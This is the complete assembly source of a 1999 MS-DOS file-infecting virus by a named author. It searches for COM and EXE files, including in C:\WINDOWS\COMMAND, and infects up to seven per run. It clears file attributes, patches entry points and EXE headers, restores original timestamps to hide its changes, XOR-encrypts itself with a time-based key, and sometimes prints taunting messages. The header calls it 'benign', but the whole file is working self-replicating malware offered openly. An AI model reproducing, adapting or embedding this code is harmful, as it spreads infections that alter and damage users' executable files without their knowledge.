; ; A Virus on MS-DOS platform. ; Encrypted and can infect both COM and EXE files. ; Benign - does not do any harm ; ; Version 1.1 17/12/1999 21:20 ; ; Programmer: Gaurang Khetan ; ; MIN_SIZE EQU 1000 MAX_SIZE EQU 63000 MAX_INFECTIONS EQU 7 .model tiny ; formalities .code assume cs:_TEXT,ds:_TEXT,es:_TEXT,ss:_TEXT org 100H ; ------- Dummy Program Begin: ;mov ax, 65 ;original instruction ;the above statement has been replaced by the follwing instruction DB 0E9H, 2BH, 03H ; equivalent to "jmp NEAR VirusCodeBeginsHere" mov t, al mov ah, 09 lea dx, t int 21H mov ax, 4C00H int 21H t DB 48, 13, 10, '$' DB 0,0,0,0,0,0,0,0,0,0 ; we will MAKE the host file end on a ; paragraph boundary ; ------ Stack Area SSeg DW 32 DUP(0) ; ------ Data Area DSeg: ; For restoration of exe file OrigSS DW 0 OrigSP DW 0 Temp1 DW 0 ; no use but required OrigIP DW 0 OrigCS DW 0 ; For restoration of com file StoredSS DW 0 StoredSP DW 0 ; During infection of exe file, the following fields are used ExeHeader DW 0 ; here starts a 24-byte exe header BytesInLastBlock DW 0 SizeInBlocks DW 0 NumOfRelocItems DW 0 ; no use but required HeaderSize DW 0 UnUsed DD 0 ; four bytes, unused OrigSSforInf DW 0 OrigSPforInf DW 0 CheckSum DW 0 ; no use but required OrigIPforInf DW 0 OrigCSforInf DW 0 RelocOffset DW 0 ModActFileSize DD 0 NewFileSize DD 0 ; During infection of both exe and com Temp DB 3 DUP(0) DTA DB 43 DUP(0) CompParaNum DB 0 InfectType DB 1 ; This file is 1=COM or 2=EXE InfectType2 DB 1 Key DB 0 SavedAttr DW 0 DirBuf DB 350 DUP(0) ; should be 256, but for safety purposes SetDir DB 0 NewDir DB 'C:\WINDOWS\COMMAND' NumOfInfects DB MAX_INFECTIONS ; during infection of com MatchString DB '*.COM',00 Message1 DB 'CopyRight, 2000: GAURANG K.,INDIA (grkvirus01@hotmail.com)',13, 10, '$' Message2 DB 'Dont you think you are OVERLOOKING something?',13,10,'$' Message3 DB 'grkvirus01@hotmail.com: Stop All Fights and Wars, if u like ur computer!', 13, 10, '$' Message4 DB 'Things are more stranger and mysterious than you think...', 13, 10, '$' EndOfDSeg: ; ------ Virus Start ; ------ Set DS to virus's data segment mov ax, ds add ax, 14H DB 05H ; add ax, (with the following word) HostSize DW 0002H mov ds, ax mov byte ptr DS:[NumOfInfects-DSeg], MAX_INFECTIONS call EncrDecr EncrStart: mov ah, byte ptr DS:[InfectType-DSeg] mov byte ptr DS:[InfectType2-DSeg], ah ; create duplicate cmp ah, 2 ; if this is an EXE je OnlyForExe ; Skip over the next group of code ; ------ Set SS to virus stack ; Only for COM ; Loader automatically does this for EXE mov ax, ss mov word ptr DS:[StoredSS-DSeg], ax mov ax, sp mov word ptr DS:[StoredSP-DSeg], ax mov ax, ds sub ax, 4 cli mov ss, ax ; SS is 2 paras before DS mov sp, 0040H ; size of stack = 64 sti ; ------ Restore original 3 bytes -- only if this file is .COM mov ax, DS:[Orig3Bytes-DSeg] mov ES:[0100H], ax mov ah, DS:[Orig3Bytes+2-DSeg] mov ES:[0102H], ah jmp DispMessages OnlyForExe: mov si, OrigSS - DSeg push [si] add si, 2 push [si] add si, 4 push [si] add si, 2 push [si] DispMessages: mov ah, 2CH int 21H cmp dl, 30 jb NoMessage mov ah, 09H cmp dl, 55 jb DispMess1 cmp dl, 70 jb DispMess2 cmp dl, 85 jb DispMess3 DispMess4: mov dx, Message4-DSeg jmp SHORT Disp DispMess3: mov dx, Message3-DSeg jmp SHORT Disp DispMess2: mov dx, Message2-DSeg jmp SHORT Disp DispMess1: mov dx, Message1-DSeg Disp: int 21H NoMessage: SetDTA: mov ah, 1AH ;set DTA mov dx, DTA - DSeg int 21H mov byte ptr DS:[SetDir-DSeg], 0 MakeCOM: mov word ptr DS:[MatchString+2-DSeg], 'OC' mov byte ptr DS:[MatchString+4-DSeg], 'M' ; ------ find first file in directory FindFirst: test byte ptr DS:[NumOfInfects-DSeg], 0FFH jz MakeEXE mov ah, 4EH ; find first matching file mov cx, 03H ; attrib=03 to allow readonly and hidden files mov dx, MatchString - DSeg int 21H jc MakeEXE GotFile: mov ax, 4300H ; save old attr mov dx, DTA+1EH-DSeg int 21H mov DS:[SavedAttr-DSeg], cx mov ax, 4301H ; set attr to 0 mov cx, 00H mov dx, DTA+1EH-DSeg int 21H call CheckTypeAndInfect mov ax, 4301H ; set attr old ones mov cx, DS:[SavedAttr-DSeg] mov dx, DTA+1EH-DSeg int 21H FindNext: test byte ptr DS:[NumOfInfects-DSeg], 0FFH jz MakeEXE mov ah, 4FH int 21H jc MakeEXE cmp ax, 12H ; means no more files je MakeEXE jmp GotFile MakeEXE: test byte ptr DS:[NumOfInfects-DSeg], 0FFH jz OtherDir cmp byte ptr DS:[MatchString+2-DSeg], 'E' je OtherDir mov word ptr DS:[MatchString+2-DSeg], 'XE' mov byte ptr DS:[MatchString+4-DSeg], 'E' jmp FindFirst OtherDir: cmp byte ptr DS:[SetDir-DSeg], 0 jne ResetDir test byte ptr DS:[NumOfInfects-DSeg], 0FFH jz endofotherdir mov ah, 47H ; get cur directory mov dl, 0 mov si, DirBuf-DSeg int 21H jc endofotherdir mov ah, 3BH ; set directory to NewDir mov dx, NewDir-DSeg int 21H jc endofotherdir mov byte ptr DS:[SetDir-DSeg], 1 jmp MakeCOM ResetDir: mov ah, 3BH mov dx, DirBuf-DSeg int 21H endofotherdir: jmp EndOfVirus ; ----------------------------------------------------- ;------------------INFECT COM FILES ;---------------------------------------------------- InfectCOM PROC NEAR ; ------ check for size CheckForSize: cmp word ptr DS:[DTA + 1CH - DSeg],00H ;high word should be 0 jne zz2 mov ax, word ptr DS:[DTA + 1AH - DSeg] cmp ax, MIN_SIZE jb zz2 cmp ax, MAX_SIZE ja zz2 jmp zz3 zz2: jmp returnfromcom zz3: and al, 0FH ; retain last hex digit mov cl, 16 ; subtract from 16 to get the no of bytes sub cl, al ; required to complete the paragraph and cl, 0FH ; if cl==10H(16) then cl=0 mov byte ptr DS:[CompParaNum-DSeg], cl ; save it xor ch, ch add word ptr DS:[DTA+1AH-DSeg], cx ; new size after adding 0's ; ------ open file in r/w mode OpenFile: mov ax, 3D02H ; Open File in read/write mode (02) mov dx, DTA + 1EH - DSeg int 21H jnc zz4 jmp returnfromcom zz4: mov bx, ax ; SAVE HANDLE IN BX ; ------ read first 3 bytes ReadFirst3Bytes: mov ah, 3FH mov cx, 3 ; bx already contains the handle mov dx, Orig3Bytes - DSeg int 21H jnc zz5 jmp CloseFile zz5: ; ------ move file pointer to end-2 MoveToSign: mov ax, 4202H ; move file pointer, 02=offset from EOF mov cx, 0FFFFH ; bx already contains the handle mov dx, -2 ;cx:dx is offset = -2 , cx=ffff bcos dx=neg int 21H jnc zz6 jmp CloseFile zz6: ; ------ read 2 bytes Read2Bytes: mov ah, 3FH mov cx, 2 mov dx, Temp1 - DSeg int 21H jnc zz10 jmp CloseFile zz10: ; ------ check whether infected CheckForInfection: mov ax, DS:[Temp1 - DSeg] cmp ax, DS:[Sign - DSeg] je CloseFile ; already infected ; ------ add any bytes to complete the paragraph mov ah, 40H ; Write to file - bx has 0handle xor ch, ch mov cl, byte ptr DS:[CompParaNum-DSeg] ; Number of bytes to write ; ;from where(Here, any random bytes) int 21H jc CloseFile ; ------ Store the Host Size into HostSize before copying ourselves mov dx, word ptr DS:[DTA+1AH-DSeg] ; get host size(after adding 0's) shr dx, 4 ; convert into paragraphs mov word ptr DS:[HostSize-DSeg], dx ; ------ Set the Infection Type variable mov BYTE PTR DS:[InfectType-DSeg], 1 ; tell the virus it is in COM file ; ------ Replicate into it Reproduce: call Replicate jc CloseFile ; ------ Move File pointer to start MoveToStart: mov ax, 4200H ; move file pointer, 00=offset from start xor cx, cx ; bx already contains the handle mov dx, cx ; dx:cx = 00:00 int 21H jc CloseFile ; ------ Write a jump to virus code at the start of the file WriteJumpToVirus: mov cx, DS:[DTA + 1AH - DSeg] ;low word of file size add cx, EndOfDSeg-SSeg ; we have to jump over data area sub cx, 3 ; since the jmp instrucn itself occupies 3 bytes mov BYTE PTR DS:[Temp - DSeg], 0E9H mov DS:[Temp + 1 - DSeg], cl mov DS:[Temp + 2 - DSeg], ch mov ah, 40H ; write to file , bx already contains handle mov cx, 3 mov dx, temp - DSeg int 21H jc CloseFile ; ------ Set the time and date of the file to the original ones mov ax, 5701H ; Set Date/Time of File mov cx, DS:[DTA + 16H - DSeg] ; time mov dx, DS:[DTA + 18H - DSeg] ; date int 21H ; bx has handle jc CloseFile dec byte ptr DS:[NumOfInfects-DSeg] ; ------ Close File CloseFile: mov ah, 3EH ; bx contains the handle int 21H returnfromcom: ret InfectCOM ENDP ; ---------------------------------------------------------------------- ; -----------------------INFECT EXE FILES------------------- ; ---------------------------------------------------------------------- InfectEXE PROC NEAR ; ------ Open File in r/w mode ExeOpenFile: mov ax, 3D02H ; Open File in read/write mode (02) mov dx, DTA + 1EH - DSeg int 21H jnc zz8 jmp returnfromexe zz8: mov bx, ax ; SAVE HANDLE IN BX ; ------ Read the first 26 bytes (header) ReadHeader: mov ah, 3FH ; read from file mov cx, 26 ; bx already contains the handle mov dx, ExeHeader - DSeg ; utilizing 2 bytes of OrigBytes int 21H jnc zz9 jmp ExeCloseFile zz9: ; ------ Check if 18H:Offset of relocation table is equal or greater than ; 40H, if yes then dont infect since not DOS exe but maybe NE, PE, LE, etc. cmp word ptr DS:[RelocOffset-DSeg], 40H jb zzzzz jmp ExeCloseFile zzzzz: ; ------- Move File Pointer to EOF-2 mov ax, 4202H ; move file pointer, 02=offset from EOF mov cx, 0FFFFH ; bx already contains the handle mov dx, -2 ;cx:dx is offset = EOF-2 int 21H jnc zzC jmp ExeCloseFile zzC: ; ------- Read 2 bytes mov ah, 3FH ; read from file mov cx, 2 ; bx already contains the handle mov dx, Temp1 - DSeg int 21H jnc zzD jmp ExeCloseFile zzD: ; ------- Compare these with signature to find if file is already infected mov ax, DS:[Temp1 - DSeg] cmp ax, DS:[Sign - DSeg] jne zz11 jmp ExeCloseFile ; already infected zz11: ; ------- Calculations push bx ; preserve handle ; Find CompParaNum mov bx, word ptr DS:[BytesInLastBlock-DSeg] mov ch, bl and ch, 0FH mov cl, 16 sub cl, ch and cl, 0FH mov DS:[CompParaNum-DSeg], cl xor ch, ch ; now cx contains CompParaNum ; Calculate File Size by ; FileSize = ([04-05H] - 1) * 512 + [02-03H] mov ax, DS:[SizeInBlocks-DSeg] ;check if file is bigger than 1 MB test ah, 11111000B jz suitable pop bx ; not suitable jmp ExeCloseFile Suitable: test bx, 0FFH jz NoDecNecessary dec ax NoDecNecessary: xor dh, dh ; mov dl, ah ; these 4 instructions shift left 8 bits mov ah, al ; xor al, al ; shl dl, 1 ; shl ah, 1 ; these 3 instr shift left 1 bit adc dl, 0 ; or ax, bx ; now dx:ax contains file size (bx had BytesInLastBlock) add ax, cx ; cx contains compparanum from above adc dx, 0 ; dx:ax = filesize + compparanum(from above) add ax, Sign - SSeg + 2 ; add virus size adc dx, 0 mov DS:[NewFileSize-DSeg], ax mov DS:[NewFileSize+2-DSeg], dx sub ax, Sign - SSeg + 2 ; subt it for further calculations sbb dx, 0 mov bx, DS:[HeaderSize-DSeg] shl bx, 1 shl bx, 1 shl bx, 1 shl bx, 1 ; cx contains header size in bytes sub ax, bx ; subt header size from file size sbb dx, 0 mov DS:[ModActFileSize-DSeg], ax mov DS:[ModActFileSize+2-DSeg], dx pop bx ; restore handle ; ------ Insert CompParaNum number of random bytes to complete para mov ah, 40H ; Write to file - bx has handle ; cx contains compparanum from above calculations ; dx does not need to be set as we're inserting random bytes int 21H jnc zz14 jmp ExeCloseFile zz14: ; ----- Set HostSize variable, ExeOrCom Variable, original SS,SP,CS,IP vars. mov BYTE PTR DS:[InfectType-DSeg], 2 ; tell the virus it is in EXE file push es push ds pop es cld mov si, OrigSSforInf - DSeg mov di, OrigSS - DSeg mov cx, 5 rep movsw pop es mov ax, DS:[ModActFileSize-DSeg] mov dx, DS:[ModActFileSize+2-DSeg] mov cl, 4 shr ax, cl shl dl, cl or ah, dl mov DS:[HostSize-DSeg], ax ; ------- Replicate: Insert Virus itself InsertVirus: call Replicate jnc zz16 jmp ExeCloseFile zz16: ; ------- make changes in the file header ;; first change the bytesinlastblock and sizeinblocks entries mov ax, DS:[NewFileSize-DSeg] mov dx, DS:[NewFileSize+2-DSeg] mov cx, ax and ax, 01FFH ; ax %= 512 mov DS:[BytesInLastBlock-DSeg], ax mov cl, ch ; these 3 instr divide by 512 mov ch, dl ; i.e. cx /= 512 shr cx, 1 ; or ax, ax jz noneed inc cx noneed: mov DS:[SizeInBlocks-DSeg], cx ;Make ; ss = HostSize; sp = size of stack=64 ; cs = ss; ip = code seg - stack seg ;; next change the ss and sp entries mov ax, DS:[HostSize-DSeg] mov DS:[OrigSSforInf-DSeg], ax mov word ptr DS:[OrigSPforInf-DSeg], 63 ;; then the cs and ip mov DS:[OrigCSforInf-DSeg], ax mov word ptr DS:[OrigIPforInf-DSeg], EndOfDSeg-SSeg ; ------ Move File Pointer to Start mov ax, 4200H ; set pointer xor cx, cx mov dx, cx int 21H jc ExeCloseFile ; ------- Write the header back mov ah, 40H mov cx, 24 ; last 2 bytes never change mov dx, ExeHeader-DSeg int 21H jc ExeCloseFile ; ------ Set the time and date of the file to the original ones mov ax, 5701H ; Set Date/Time of File mov cx, DS:[DTA + 16H - DSeg] ; time mov dx, DS:[DTA + 18H - DSeg] ; date int 21H ; bx has handle jc ExeCloseFile dec byte ptr DS:[NumOfInfects-DSeg] ; ----- Close File ExeCloseFile: mov ah, 3EH int 21H returnfromexe: ret InfectEXE ENDP CheckTypeAndInfect PROC NEAR mov ax, 3D00H ; open file in read only mov dx, DTA+1EH-DSeg int 21H mov bx, ax jc return mov ah, 3FH ; read 2 bytes mov cx, 2 mov dx, checkbuf-DSeg int 21H pushf push ax mov ah, 3EH int 21H pop ax popf jc return or ax, ax jz return cmp word ptr DS:[checkbuf-DSeg], 'ZM' je itisExe call InfectCOM jmp return itisExe: call InfectEXE return: ret checkbuf DB 0, 0 CheckTypeAndInfect ENDP SetUpKey PROC NEAR push ax push cx push bx push dx mov ah, 2CH int 21H add byte ptr DS:[key-DSeg], ch add byte ptr DS:[key-DSeg], cl add byte ptr DS:[key-DSeg], dh add byte ptr DS:[key-DSeg], dl pop dx pop bx pop cx pop ax ret SetUpKey ENDP ; ------ End Of Virus, Reset Conditions so that the host may run normally EndOfVirus: ; ------- Bring back the values of original ss, sp, cs, ip stored in temp ; the real end of virus cmp BYTE PTR DS:[InfectType2-DSeg], 2 je ForExe mov ax, DS:[StoredSS-DSeg] mov bx, DS:[StoredSP-DSeg] cli mov ss, ax mov sp, bx sti mov ax, es mov ds, ax mov ah, 1AH mov dx, 80H int 21H mov ax, 0100H push ax ; these 2 instructions-push&retn can be retn ; replaced by jmp ax ForExe: mov si, OrigCS - DSeg pop DS:[si] sub si, 2 pop DS:[si] sub si, 4 pop DS:[si] sub si, 2 pop DS:[si] mov ax, es add ax, 10H ;skip past psp add ax, DS:[OrigSS-DSeg] cli mov ss, ax mov sp, DS:[OrigSP-DSeg] sti sub ax, DS:[OrigSS-DSeg] add ax, DS:[OrigCS-DSeg] push ax push DS:[OrigIP-DSeg] mov ax, es mov ds, ax mov ah, 1AH mov dx, 80H int 21H retf EncrEnd: EncrDecr PROC NEAR push es push si push di push cx push ax push ds pop es mov si, EncrStart-DSeg mov di, si mov cx, EncrEnd-EncrStart loophere: lodsb xor al, DS:[key-DSeg] stosb loop loophere pop ax pop cx pop di pop si pop es ret EncrDecr ENDP Replicate PROC NEAR push bx push ax push cx push dx call SetupKey ; select a random key call EncrDecr ; encrypt with random key push ds push ss pop ds ; make ds=ss temporarily mov ah, 40H mov cx, Sign-SSeg+2 ;size of virus xor dx, dx ; start of virus at DS:0 int 21H pop ds pop dx pop cx pop ax pushf ; save status of carry flag call EncrDecr ; decrypt with the same key popf ; restore state of carry flag pop bx ret Replicate ENDP Orig3Bytes DB 0B8H, 41H, 00H Sign DB 'GK' END Begin